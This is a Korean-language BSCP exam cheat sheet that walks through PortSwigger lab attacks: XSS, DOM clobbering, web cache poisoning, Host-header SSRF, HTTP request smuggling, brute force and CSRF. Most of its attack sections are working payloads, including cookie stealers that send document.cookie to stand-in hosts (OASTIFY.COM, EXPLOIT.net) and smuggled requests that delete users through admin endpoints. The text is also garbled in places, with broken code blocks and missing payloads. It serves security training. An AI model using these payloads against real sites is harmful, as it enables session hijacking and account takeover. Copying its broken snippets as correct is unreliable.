<button form=comment-form formaction="/edit" id=share-button>Click Button</button>
<input form=comment-form name=content value='<meta http-equiv="refresh" content="1; URL=/edit" />'>
<input form=comment-form name=tags value='a");alert(document.getElementsByClassName("navbar-brand")[0].innerText)//'>
이 대상은
share_button이라는 변수를 덮어쓰는 HTML 인젝션을 구성하여 악용됩니다. 아래의source code를 참조하고 위의 HTML 코드를 사용합니다. 콘텐츠는 페이지에 반영된 후, 이 반영을 이용해meta http-equiv태그를 사용하여 1초 후 페이지를 새로고침함으로써 피해자의/edit페이지로 페이지 리디렉션을 활성화하고 리디렉션됩니다.
```
https://challenge-1222.intigriti.io/blog/unique-guid-value-abc123?share=1
>위 블로그 항목을 참조하는 URL을 피해자에게 보내 익스플로잇을 전달하면, 피해자에게 XSS가 트리거됩니다.
[intigriti - Self-XSS upgrade - Solution to December 22 XSS Challenge](https://youtu.be/FowbZ8IlU7o)
>Edit Content 블로그 항목 페이지에서 HTML 주입을 사용하는 대체 익스플로잇. [XSS Resources CSP check](#xss-resources)를 사용하여 ***식별됨***.```
<base href="https://Exploit.net">
Exploit 서버에
static/js/bootstrap.bundle.min.js로 JS 파일을 호스팅하고, 내용은 다음과 같습니다:``` alert(document.getElementsByClassName("navbar-brand")[0].innerText)
>수정된 PortSwigger 랩 페이로드는 페이지가 다음에 로드될 때 `document.location` 함수를 변수 `defaultAvatar`에 할당합니다. 사이트가 큰따옴표를 URL 인코딩하지 않는 `cid:` 프로토콜의 사용을 허용하는 DOMPurify를 사용하기 때문입니다.```
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=document.location=`https://OASTIFY.COM/?clobber=`+document.cookie//">
PortSwigger Lab: DOM 클로버링을 악용하여 XSS 활성화
JavaScript
source code에서 포함된 스크립트resources/js/loadCommentsWithVulnerableEscapeHtml.js내부의 사용자 정의loadComments함수에서html.replace()함수를 식별합니다. 페이로드를 테스트하면 이 함수가<>의 첫 번째 항목만 대체한다는 것을 알 수 있습니다.
```html
<>
>위 페이로드가 저장되며, 댓글 블로그를 방문하는 모든 사용자의 세션 쿠키가 탈취되어 collaborator로 전송됩니다.

>PortSwigger Lab 페이로드: `<>`.
[PortSwigger Lab: 저장형 DOM XSS](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-stored)
-----
## 웹 캐시 포이즈닝
[Unkeyed 헤더](#unkeyed-header)
[Unkeyed Utm_content](#unkeyed-utm_content)
[utm_content 클로킹](#cloaking-utm_content)
[모호한 요청 포이즈닝](#poison-ambiguous-request)
[다중 헤더 캐시 포이즈닝](#cache-poison-multiple-headers)
### Unkeyed 헤더
>대상은 **tracking.js** JavaScript를 사용하며,
>그리고 **```X-Forwarded-Host```** 또는 **```X-Host```** 헤더가 경로를 리다이렉트하는 데 취약하며,
>캐시를 포이즈닝하여 쿠키를 탈취할 수 있습니다.
>응답의 웹 캐시 헤더와 페이지 소스 코드의 tracking.js 스크립트를 ***식별***하세요.
>JavaScript를 호스팅하고, 헤더를 주입해 대상의 캐시를 포이즈닝하여 방문하는 피해자를 리다이렉트시키는 취약점을 악용하십시오.
```html
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net

익스플로잇 서버에서 호스팅하고, 요청에
X-Forwarded-Host헤더를 주입하여, 피해자가 오염된 캐시를 만날 때까지 캐시를 오염시킵니다.``` /resources/js/tracking.js

>본문은 세션 쿠키를 협업 서비스로 전송합니다.```javascript
document.location='https://OASTIFY.COM/?cookies='+document.cookie;
X-Forwarded-Host헤더로 요청을 재전송하여 대상의 웹 캐시를 오염(Poisoning) 시키세요.

PortSwigger Lab: Web cache poisoning with an unkeyed header
위 실습 페이로드를 익스플로잇 서버에서 수정하여, 피해자가 백엔드 서버의 캐시된 항목을 방문할 때 피해자 쿠키를 탈취하도록 하는 유튜브 영상입니다. 페이로드는 위 JavaScript입니다.
YouTube: Web cache poisoning with unkeyed header - cookie stealer
웹 캐시 취약점을 식별하기 위한 Param Miner 확장 프로그램
대상은 캐시 키에서 특정 매개변수를 제외하기 때문에 웹 캐시 오염에 취약합니다. Param Miner의 "Guess GET parameters" 기능은 해당 매개변수를 utm_content로 식별합니다.
```
GET /?utm_content='/>
>위 페이로드가 캐시되면 피해자가 대상 사이트를 방문할 때 쿠키가 Burp Collaborator로 전송됩니다.

[PortSwigger Lab: 키가 없는 쿼리 매개변수를 통한 웹 캐시 포이즈닝](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-unkeyed-param)
### utm_content 클로킹
>Param Miner 확장 프로그램이 `Bulk scan > Rails parameter cloaking scan`을 수행하면 취약점을 자동으로 ***식별***합니다. 수동으로는 `;`를 추가하여 `utm_content`에 다른 매개변수를 덧붙임으로써 식별할 수 있으며, 캐시는 이를 단일 매개변수로 취급합니다. 즉, 추가된 매개변수도 캐시 키에서 제외된다는 뜻입니다.
>`/js/geolocate.js?callback=setCountryCookie`에 대한 `source code`는 모든 페이지에서 호출되며 콜백 함수를 실행합니다.
>`callback` 매개변수는 키에 포함되므로 피해자 사용자의 캐시를 오염시킬 수 없지만, 중복 매개변수를 `utm_content`와 결합하면 키에서 제외되어 캐시가 오염될 수 있습니다.```
GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=EVILFunction

아래는 캐시 클로킹 쿠키 캡처 페이로드입니다. 피해자가 저장된 캐시에 접속할 때까지 캐시를 계속 오염시키세요.``` GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=document.location='https://OASTIFY.COM?nuts='%2bdocument.cookie%3b HTTP/2
>아래는 [Url Decoded](https://www.urldecoder.org/) 페이로드입니다.```
GET/js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=document.location='https://OASTIFY.COM?nuts='+document.cookie; HTTP/2
PortSwigger Lab: Parameter cloaking
익스플로잇 서버가 포함된 두 번째 Host 헤더를 추가하면, 이는 모호한 캐시 취약점을 식별하고 요청을 라우팅합니다. 두 번째 Host 헤더의 익스플로잇 서버가
/resources/js/tracking.js에서 스크립트를 가져오는 데 사용되는 절대 URL에 반영되는 것을 확인하세요.```html Host: TARGET.net Host: exploit.net
>공격 서버에서 대상이 호출하는 경로와 동일한 ```/resources/js/tracking.js```에 파일을 설정합니다. 이 파일에는 페이로드가 포함됩니다. 쿠키 스틸러를 수행하려면 아래의 JavaScript 페이로드 코드를 배치하십시오.```
document.location='https://OASTIFY.COM/?CacheCookies='+document.cookie;

PortSwigger Lab: 모호한 요청을 통한 웹 캐시 중독
응답에서 캐시 적중 헤더를 식별하고,
그런 다음 대상이X-Forwarded-Host또는X-Forwarded-Scheme헤더를 지원하는지 테스트합니다.
이러한 헤더는 피해자의 세션 쿠키를 탈취하는 데 사용될 수 있습니다.
GET
/resources/js/tracking.js요청에 두 개의 Forwarded 헤더를 추가했을 때 location 응답 헤더의 변경이 발생하는지 확인합니다. 이것은 여러 헤더를 통한 캐시 중독의 긍정적 발생을 식별합니다.```html GET /resources/js/tracking.js?cb=123 HTTP/2 Host: TARGET.net X-Forwarded-Host: EXPLOIT.net X-Forwarded-Scheme: nothttps

>익스플로잇 서버에서 파일 경로를 ```/resources/js/tracking.js```로 변경한 다음,
>포이즌 요청의 ```X-Forwarded-Host: EXPLOIT.net``` 헤더를 업데이트하세요.
>익스플로잇 서버 본문에 페이로드를 배치하세요.```html
document.location='https://OASTIFY.COM/?poisoncache='+document.cookie;
cb=123캐시 buster를 제거한 다음, 피해자가 세션 쿠키를 탈취하기 위해 exploit 서버 페이로드 tracking.js로 리다이렉트될 때까지 캐시를 오염시키십시오.
PortSwigger Lab: Web cache poisoning with multiple headers
동일한 이름과 다른 값을 가진 두 번째 매개변수를 추가하여 응답이 주입된 값을 반영하는지 확인함으로써, 애플리케이션이 중복 매개변수 포이즈닝에 취약한지 식별하십시오.
```
GET /js/geolocate.js?callback=setCountryCookie&callback=FUZZERFunction; HTTP/2
>응답에서 중복된 콜백 매개변수를 전달하여 호출되는 함수가 반영됩니다. 응답에서 캐시 키는 여전히 GET 요청 줄의 원래 콜백 매개변수에서 파생됩니다.

>쿠키 스틸러 페이로드를 작동시킬 수 없습니다......
[PortSwigger 랩: fat GET 요청을 통한 웹 캐시 포이즈닝](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
-----
## Host Headers
[IP 주소 스푸핑](#spoof-ip-address)
[HOST 연결 상태](#host-connection-state)
[Host 라우팅 기반 SSRF](#host-routing-based-ssrf)
[잘못된 Host 요청 파싱을 통한 SSRF](#absolute-get-url--host-ssrf)
### Spoof IP Address
>변조된 HOST 헤더가 지원된다는 점을 ***식별***하세요.
>이를 통해 IP 주소를 스푸핑하고 IP 기반 무차별 대입 보호를 우회하거나
>***비밀번호 재설정*** 포이즈닝을 위한 리디렉션 공격을 수행할 수 있습니다.
>아래 `X- ` 헤더를 포함하고, 요청을 보내기 전에 비밀번호 재설정 요청의 username 매개변수를 `Carlos`로 변경하세요.
>BSCP 시험에서 이 익스플로잇을 사용했다면, 이는 사용자 상호작용이 필요한 취약점을 사용하지 않았으며, 상호작용 취약점을 사용하여 exploit server의 `Deliver exploit to victim` 기능을 통해 스테이지 3에 관리자로 접근할 수 있음을 의미합니다.```html
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net
X-Forwarded-Server: EXPLOIT.net
fullfox의 팁 및 참고 사항:
Host: 또는 X-Forwarded-Host:를 사용하여 비밀번호 재설정을 시도할 때 Invalid hostname 오류가 발생하면 다음 호스트 이름을 사용해 보세요: xxx.oastify.com?TARGET.net — 슬래시가 없는 합법적인 대상 URL입니다.악용 서버 로그를 확인하여 피해자 사용자 이름의 재설정 링크를 확보하세요.

PortSwigger Lab: Password reset poisoning via middle-ware
대상은 Host 헤더를 통한 라우팅 기반 SSRF에 취약하지만, 첫 번째 요청의 연결 상태를 검증합니다. 단일 연결을 사용하여 요청을 순차적으로 그룹화하고 연결 헤더를 keep-alive로 설정하면 호스트 헤더 검증을 우회하고 로컬 서버에 대한 SSRF 악용이 가능해집니다.```html GET / HTTP/1.1 Host: TARGET.net Cookie: session=ValueOfSessionCookie Content-Length: 48 Content-Type: text/plain;charset=UTF-8 Connection: keep-alive
>다음 요청은 요청 그룹 시퀀스에서 두 번째 탭입니다.```html
POST /admin/delete HTTP/1.1
Host: localhost
Cookie: _lab=YOUR-LAB-COOKIE; session=YOUR-SESSION-COOKIE
Content-Type: x-www-form-urlencoded
Content-Length: 53
csrf=TheCSRFTokenValue&username=carlos
두 번째 요청이 성공적으로 관리자 패널에 접근했음을 확인하세요.

PortSwigger Lab: 연결 상태 공격을 통한 호스트 검증 우회
프런트엔드와 백엔드 서버로 구성된 아키텍처에서, 프런트엔드 또는 백엔드가 청크 인코딩 (HEX) 이나 Content-Length (Decimal) 를 지원하지 않는 경우입니다. 보안 제어를 우회하여 피해자의 요청을 확보하고, 피해자 사용자의 쿠키를 사용하여 해당 계정에 접근합니다.
TE.CL dualchunk - Transfer-encoding 난독화
TE.CL multiCase - 관리자 차단
CL.TE multiCase - 관리자 차단
CL.TE multiCase - Content-Length 쿠키 스틸러
CL.TE multiCase - User-Agent 쿠키 스틸러
HTTP/2 스머글링 - CRLF 인젝션 쿠키 스틸러
HTTP/2 TE - 관리자 쿠키 스틸러
중복 헤더 이름이 허용되고 취약점이 dualchunk로 감지되면, 이름과 값이 Transfer-encoding: cow인 추가 헤더를 추가하세요. 두 번째 TE와 함께 난독화 기법을 사용하세요.``` Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding : chunked
Transfer-encoding: identity Transfer-encoding: cow
>`Transfer-Encoding` 헤더를 실제로 지원하는 일부 서버는 해당 헤더가 어떤 방식으로든 **난독화**되어 있으면 이를 처리하지 않도록 유도될 수 있습니다.
>Repeater 메뉴에서 **"Update Content-Length"** 옵션이 체크 해제되어 있는지 확인하십시오.```html
POST / HTTP/1.1
Host: TARGET.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: identity
e6
GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?c='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0\r\n
\r\n

참고: 마지막 0 뒤에 후행 시퀀스 \r\n\r\n를 포함해야 합니다.
PortSwigger Lab: HTTP 요청 스머글링, Transfer-Encoding (TE) 헤더 난독화
해커가 HTTP Sync 취약점을 통해 방문 사용자의 요청을 훔칠 수 있는 시나리오가 얼마나 자주 발생하는지 궁금하지 않나요?
/admin포털 URL 경로에 접근하려고 하면Path /admin is blocked라는 필터 메시지를 받습니다. HTTP Request Smuggler 스캐너는 취약점을TE.CL multiCase (delayed response)로 식별합니다. 참고: 백엔드 서버가 청크 인코딩을 지원하지 않으므로 Repeater 메뉴에서Update Content-Length를 끄십시오.
자동 Content-Length 업데이트를 비활성화한 후,
HTTP/1.1로 변경한 다음 아래 요청을 두 번 전송합니다. 두 번째 헤더Content-Length: 15를 추가하면 첫 번째 요청과 HOST 헤더가 충돌하는 것을 방지합니다.
참고: 마지막0다음에 후행 시퀀스\r\n\r\n를 포함해야 합니다.
요청 스머글링 공격에서 길이 필드를 수동으로 수정하려면 각 청크 크기를 HEXADECIMAL(16진수)로 표현해야 하며, Content-Length는 메시지 본문의 길이를 bytes(바이트) 단위로 지정합니다. 청크 뒤에는 newline(개행)이 오고, 그 다음에 청크 내용이 옵니다. 메시지는 크기가 ZERO인 청크로 종료됩니다.```html POST / HTTP/1.1 Host: TARGET.net Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding: chunked
71 POST /admin HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 15
x=1 0
>TE.CL(Transfer-Encoding / Content-Length) 스머글 요청 길이를 **16진수(HEXADECIMAL)**로 계산하며, 페이로드는 16진수 길이 **71**과 종료 **ZERO** 사이에 있습니다. 길이의 일부로 ZERO를 포함하지 않으며, ZERO 위 줄의 `\r\n`도 포함하지 않습니다. 초기 POST 요청의 **content-length**는 수동으로 설정됩니다.

>`/admin/delete?username=carlos`를 보내 사용자를 삭제할 때, 추가된 스머글 요청 크기를 포함하도록 전송 인코딩 16진수 길이가 `71`에서 `88` 16진수 값으로 변경됩니다.
[PortSwigger Lab: HTTP 요청 스머글링을 악용하여 프런트엔드 보안 제어 우회, TE.CL 취약점](https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl)
### CL.TE multiCase - 관리자 차단됨
>`/admin` 포털 URL 경로에 접근하려고 하면 `Path /admin is blocked` 필터 메시지가 표시됩니다. HTTP Request Smuggler 스캐너는 이 취약점을 `CL.TE multiCase (delayed response)`로 ***식별***합니다.
>관리자 패널에 접근하려면 아래 요청을 두 번 보내고, 두 번째 헤더 ```Content-Length: 10```을 추가하여 HOST 헤더가 첫 번째 요청과 충돌하지 않도록 하십시오.```html
POST / HTTP/1.1
Host: TARGET.net
Cookie: session=waIS6yM79uaaNUO4MnmxejP2i6sZWo2E
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
tRANSFER-ENCODING: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=
두 번째 요청이 전송되면 응답으로 관리자 포털이 반환됩니다.

PortSwigger Lab: HTTP 요청 스머글링을 악용하여 프런트엔드 보안 제어를 우회, CL.TE 취약점
피해자 요청을 캡처하기 위한 큰 Content-Length입니다. 스머글링된 요청이 포함된 POST 요청을 보내되 콘텐츠 길이를 실제 길이보다 길게 설정합니다. 피해자가 탐색하면 해당 쿠키 세션 값이 blob 댓글로 게시됩니다. comment-post 요청의 Content-Length를 798로 늘린 다음 백엔드 서버로 POST 요청을 스머글링합니다.```html POST / HTTP/1.1 Host: TARGET.net Content-Type: application/x-www-form-urlencoded Content-Length: 242 Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 798 Cookie: session=HackerCurrentCookieValue
csrf=ValidCSRFCookieValue&postId=8&name=c&email=c%40c.c&website=&comment=c

>위^^의 스머글링된 POST 요청 끝에는 새 줄이 없습니다.
>블로그 **게시물**을 확인하여 사용자의 요청이 포함된 댓글이 있는지 확인하세요. 피해자 사용자가 대상 웹사이트를 탐색한 후에만 공격이 성공합니다. 블로그 게시물 댓글에서 사용자의 Cookie 헤더를 복사하고, 그 쿠키를 사용하여 피해자의 계정에 접근하세요.

[PortSwigger Lab: HTTP 요청 스머글링을 악용하여 다른 사용자의 요청 캡처](https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests)
### CL.TE multiCase - User-Agent 쿠키 스틸러
>***확인***: UserAgent 값은 블로그 댓글 양식을 로드하는 GET 요청에 저장되며, **User-Agent** 숨은 값에도 저장됩니다. HTTP 요청 스머글링을 악용하여 **User-Agent** 값을 사용해 반사형 XSS를 전달하고, 이를 스머글링된 요청에 배치합니다.
>HTML 문서 밖으로 이스케이프하는 기본적인 크로스 사이트 스크립팅(XSS) 페이로드.```JavaScript
"/><script>alert(1)</script>
쿠키 스틸러 페이로드.```JavaScript a"/>;
>이 XSS 요청을 백엔드 서버로 밀반입하여 다음 방문자를 공격하게 하십시오. XSS 쿠키 스틸러를 **User-Agent** 헤더에 배치하십시오.```html
POST / HTTP/1.1
Host: TARGET.net
Content-Length: 237
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
0
GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?Hack='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
x=1

피해자가 대상 사이트를 탐색할 때 수신된 PortSwigger Collaborator 요청을 확인하세요.

PortSwigger Lab: 반사형 XSS를 전달하기 위해 HTTP 요청 스머글링 악용
대상은 프런트엔드 서버가 HTTP/2 요청을 다운그레이드하고 들어오는 헤더를 제대로 정화하지 못하기 때문에 요청 스머글링에 취약합니다. 악용은 HTTP/2 전용 요청 스머글링 벡터를 사용하여 피해자의 세션 쿠키를 탈취하고 사용자 계정에 접근하는 방식입니다.
식별: 대상이 쿠키를 기반으로 이전 및 최근 검색 기록을 반영할 때 취약점을 식별할 수 있습니다. 쿠키를 제거하면 검색 기록이 초기화되는 것을 알 수 있으며, 이는 세션 쿠키와 연결되어 있음을 확인해 줍니다.

Inspector의 Request Attributes 섹션을 확장하고 프로토콜을 HTTP/2로 변경한 다음, 임의의 헤더
foo를 값bar로 추가하고,\r\n시퀀스를 이어붙인 후Transfer-Encoding: chunked를 추가하고 shift+ENTER를 누릅니다.

참고: Allow HTTP/2 ALPN override 옵션을 활성화하고 HTTP/2 요청 본문을 아래의 POST 요청으로 변경하세요.```html 0
POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Cookie: session=HACKER-SESSION-COOKIE Content-Length: 800
search=nutty

[PortSwigger Lab: CRLF 주입을 통한 HTTP/2 request smuggling](https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-smuggling-via-crlf-injection)
[Youtube 데모: CRLF 주입을 통한 HTTP/2 request smuggling](https://youtu.be/E-bnCGzl7Rk)
### HTTP/2 TE desync v10a h2path
>프런트엔드 서버가 모호한 길이의 HTTP/2 요청을 다운그레이드하기 때문에 대상은 request smuggling에 취약합니다. 대상을 방문하는 관리자의 세션 쿠키를 탈취하십시오. Burp 확장 프로그램인 **HTTP Request Smuggler**는 이 취약점을 HTTP/2 TE desync v10a(H2.TE) 취약점으로 ***식별***합니다.

>참고: 인스펙터 요청 속성에서 **HTTP/2**로 전환하고 repeat 메뉴에서 **Allow HTTP/2 ALPN override** 옵션을 활성화하십시오.```html
POST /x HTTP/2
Host: TARGET.net
Transfer-Encoding: chunked
0
GET /x HTTP/1.1
Host: TARGET.web-security-academy.net\r\n
\r\n
참고: POST 및 GET 요청의 경로는 존재하지 않는 엔드포인트를 가리킵니다. 이는 404 응답을 받지 못할 때, 해당 응답이 피해자 사용자의 캡처된 요청으로부터 온 것임을 식별하는 데 도움이 됩니다. 기억하세요: Host 헤더 뒤에
\r\n\r\n시퀀스를 포함하여 밀반입된 요청을 올바르게 종료해야 합니다.

탈취한 세션 쿠키 값을 관리자 패널에 대한 새 http/2 GET 요청에 복사합니다.``` GET /admin HTTP/2 Host: TARGET.web-security-academy.net Cookie: session=VictimAdminSessionCookieValue Cache-Control: max-age=0

[PortSwigger Lab: H2.TE 요청 밀수로 인한 응답 큐 중독](https://portswigger.net/web-security/request-smuggling/advanced/response-queue-poisoning/lab-request-smuggling-h2-response-queue-poisoning-via-te-request-smuggling)
-----
## 무차별 대입(Brute Force)
[Stay-Logged-in](#stay-logged-in)
[Stay-logged-in 오프라인 크랙](#stay-logged-in-offline-crack)
[보호된 로그인 무차별 대입](#brute-force-protected-login)
[미묘하게 유효하지 않은 로그인](#subtly-invalid-login)
### Stay-Logged-in
>로그인 옵션에 stay-logged-in 체크박스가 있으면 쿠키 값에 로그인한 사용자의 비밀번호가 포함되어 무차별 대입 공격에 취약해집니다.

>아래의 공격 단계와 Intruder 페이로드 처리 규칙을 순서대로 적용하고, 공격을 시작하기 전에 GREP 옵션도 순서대로 포함하십시오.
1. 현재 사용자로 로그아웃합니다.
2. 가장 최근의 GET /my-account 요청을 Burp Intruder로 보냅니다.
3. 주입 위치로 ```stay-logged-in``` 쿠키를 선택합니다.
4. 해시: ```MD5```
5. 접두사 추가: ```carlos:```
6. 인코딩: ```Base64-encode```
7. 설정 탭에서 **GREP**을 추가하여 응답에서 ```Update email``` 문자열을 확인합니다. 이는 공격이 성공적으로 로그인되었음을 나타냅니다.

[PortSwigger Lab: stay-logged-in 쿠키 무차별 대입](https://portswigger.net/web-security/authentication/other-mechanisms/lab-brute-forcing-a-stay-logged-in-cookie)
### Stay-logged-in 오프라인 크랙
>블로그 애플리케이션의 댓글 기능은 [저장형 XSS](#stored-xss)에 취약합니다. 아래 페이로드를 블로그 댓글에 사용하여 Carlos의 세션 쿠키를 익스플로잇 서버로 보내십시오.```
<script>
document.location='https://EXPLOIT.net/StealCookie='+document.cookie
</script>
stay-logged-in쿠키 값을 Base64 디코딩하고 온라인 MD5 해시 크랙 스테이션 데이터베이스를 사용하세요.

확인됨: 백엔드가 30분 금지를 시행하여 너무 많은 잘못된 로그인 시도 후 IP 차단이 발생하는 로그인에 대한 무차별 대입 공격 보호.
X-Forwarded-For:헤더를 테스트한 결과 무차별 대입 공격 보호를 우회할 수 있었습니다. 긴 잘못된 비밀번호에 대한 응답 시간을 관찰하면 Pitchfork 기법을 사용하여 무작위 긴 비밀번호로 유효한 사용자 이름을 식별한 다음, 인트루더를 Pitchfork로 다시 실행하여 각 페이로드 위치 공격이 모든 세트를 동시에 반복하도록 설정할 수 있습니다.
Burp 랩 사용자 이름, 비밀번호 및 디렉터리 퍼징 워드리스트
X-Forwarded-For:용 IP 주소에 페이로드 위치 1을, 사용자 이름에 위치 2를 설정하고 긴 비밀번호를 사용하여 공격 열 창에서 응답 시간 지연을 확인하세요.``` X-Forwarded-For: 12.13.14.15

>위의 **Pitchfork** Intruder 공격을 비밀번호 필드에서 반복한 다음, 상태 열에서 302 결과로 유효한 비밀번호를 ***식별***하십시오.
[PortSwigger Lab: 응답 타이밍을 통한 사용자 이름 열거](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-response-timing)
### 미묘하게 잘못된 로그인
>로그인 페이지와 비밀번호 재설정이 무차별 공격으로부터 보호되지 않고, 잘못된 사용자 이름이나 비밀번호에 대해 IP 차단이나 타임아웃이 적용되지 않음을 ***식별***하십시오.
>BSCP 시험을 위한 팁: 때때로 무차별 대입이 가능한 약한 비밀번호를 가진 다른 사용자가 있습니다. 1단계에서 발판 액세스를 얻기 위한 대상이 항상 Carlos 계정은 아닙니다.

>Intruder 공격 열에서 GREP 값 ```Invalid username or password.``` 에 대해 주목하십시오. 실패한 사용자 이름 공격에 대한 하나의 응답 메시지에는 끝에 마침표가 포함되어 있지 않습니다. 이 ***식별된*** 사용자 이름으로 공격을 반복하고, **Sniper** 공격으로 비밀번호 필드를 공격하여 유효한 로그인에 대한 ```302``` 응답을 ***식별***하십시오.

>BSCP 시험에서는 반환되는 다른 메시지를 ***주의 깊게 살펴보십시오***. 이 메시지들은 애플리케이션에서 유효한 계정을 노출하고, [비밀번호 재설정 새로고침](#refresh-password-broken-logic) 함수의 예와 같이 계정 비밀번호의 무차별 대입 ***식별***을 허용합니다.
>다른 응답 메시지에서 유효한 사용자 이름을 식별한 후, Burp Intruder를 사용하여 비밀번호에 대해 [무차별 대입](#brute-force)을 수행하십시오.
[PortSwigger Lab: 미묘하게 다른 응답을 통한 사용자 이름 열거](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-subtly-different-responses)
>웹 애플리케이션에서 유효한 사용자 이름을 식별하는 또 다른 시나리오는 로그인에 사용자 이름 목록과 하나의 잘못된 비밀번호 값을 제공하는 것입니다. Intruder 공격 결과에서 하나의 응답에는 `Incorrect password` 메시지가 포함될 것입니다.
>Intruder 공격 주입 위치: `username=§invalid-username§&password=SomeStupidLongCrazyWrongSecretPassword123456789`.
[PortSwigger Lab: 서로 다른 응답을 통한 사용자 이름 열거](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses)
-----
## 인증
[계정 등록](#account-registration)
[인증 토큰 우회 매크로](#auth-token-bypass-macro)
### 계정 등록
>계정 등록 기능의 비즈니스 로직 결함으로 인해 대상 사용자 역할 액세스 권한으로 발판을 얻을 수 있습니다. [콘텐츠 검색](#content-discovery)에서 경로 ```/admin```을 찾으면, Admin 인터페이스는 **DontWannaCry** 사용자로 로그인한 경우에만 사용할 수 있다는 메시지가 표시됩니다.

>```@``` 기호 앞에 200자 이상으로 이메일을 만들면 255자로 잘립니다. 이는 계정 등록 페이지 로직의 **결함**을 ***식별***합니다. 아래 이메일에서 ```@dontwannacry.com``` 끝의 ```m```은 정확히 255번째 문자입니다.```
very-long-strings-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-strings@dontwannacry.com.exploit-0afe007b03a34169c10b8fc501510091.exploit-server.net

PortSwigger Lab: 예외 입력에 대한 일관되지 않은 처리
인증 로그인이 매 로그인 POST마다 사용되는 임의 토큰을 통해 무차별 대입 공격으로부터 보호된다면, Burp 매크로를 사용하여 보호를 우회할 수 있습니다.
Burp 매크로 생성
Macros까지 스크롤한 후 새 매크로를 추가합니다.Configure item을 클릭하고 추출할 사용자 지정 매개변수 위치를 추가합니다.Include all URLs를 선택합니다.
PortSwigger Lab: 무한 금전 논리 결함 - Burp 매크로를 만드는 방법 보기
OAuth
Referer 검증 CSRF
Referer 헤더 존재
LastSearchTerm
쿠키에 중복된 CSRF
CSRF 토큰 존재
로그인 여부
CSRF 방어 없음
SameSite Strict 우회
SameSite Lax 우회
CSRF(Cross-Site Request Forgery) 취약점으로 인해 공격자는 사용자가 의도하지 않은 작업을 수행하도록 강제할 수 있습니다. 이를 통해 공격자는 피해자의 이메일 주소를 변경하고 비밀번호 재설정을 사용하여 계정을 탈취할 수 있습니다.
oAuth 연결 취약점은 exploit 서버에서 iframe을 호스팅한 다음 이를 피해자에게 전달하여 사용자가 연결된 코드를 업데이트하도록 강제합니다.

GET /oauth-linking?code=[...] 요청을 가로챘습니다. 코드를 저장하기 위해 repeat로 보냅니다. 요청을 Drop하십시오. 코드가 사용되지 않고 유효한 상태로 유지되도록 하는 것이 중요합니다. exploit 서버에 방금 복사한 URL을 가리키는
src속성이 포함된 iframe을 저장합니다.```html
[PortSwigger Lab: 강제 OAuth 프로필 연결](https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking)
### Referer 검증 CSRF
>***식별***: **Referer** 헤더 값을 변경하면 응답에 `Invalid referer header` 메시지가 표시되고, 리퍼러 값의 어딘가에 예상 대상 도메인이 포함되어 있을 때 이메일 변경이 수락되는 것을 관찰하여 이메일 변경 기능이 CSRF에 취약함을 식별합니다.

>대상의 원본 도메인을 추가하고 `history.pushState('', '', '/?TARGET.net');`를 **Referer 헤더**에 쿼리 문자열 형태로 추가하면 이메일 변경이 적용되도록 허용합니다.```html
Referrer-Policy: unsafe-url
참고: 일반적인 Referer 헤더 철자와 달리, 위 exploit 서버의
head섹션에서 "referrer" 라는 단어는 정확하게 철자되어야 합니다.

``` >위의 익스플로잇 페이로드가 피해자에게 전달되면, CSRF POC 페이로드는 Referer 헤더 값에 대상이 포함되어 있기 때문에 피해자의 이메일을 **[email protected]**으로 변경합니다. ***BSCP*** 시험에서는 계정 탈취에 사용할 ```hacker@exploit``` 서버 이메일 주소를 기록해 두세요.CSRF 개념 증명(proof of concept) 익스플로잇을 생성하고 exploit 서버에 호스팅하세요. history.pushState() 함수의 세 번째 인자가 대상 URL이 포함된 쿼리 문자열을 포함하도록 JavaScript를 편집하세요.```html
PortSwigger Lab: 손상된 Referer 검증을 사용한 CSRF
``` >이것은 대화형 익스플로잇이며, BSCP 시험에서 1단계 익스플로잇이 비대화형이었다면 이를 사용하여 관리자가 링크를 클릭해 비밀번호를 변경하도록 유도할 수 있습니다. 이메일 변경 페이지의 `source code`에서 추가 form id 값이 있는지 확인하세요.이메일 업데이트 요청에서
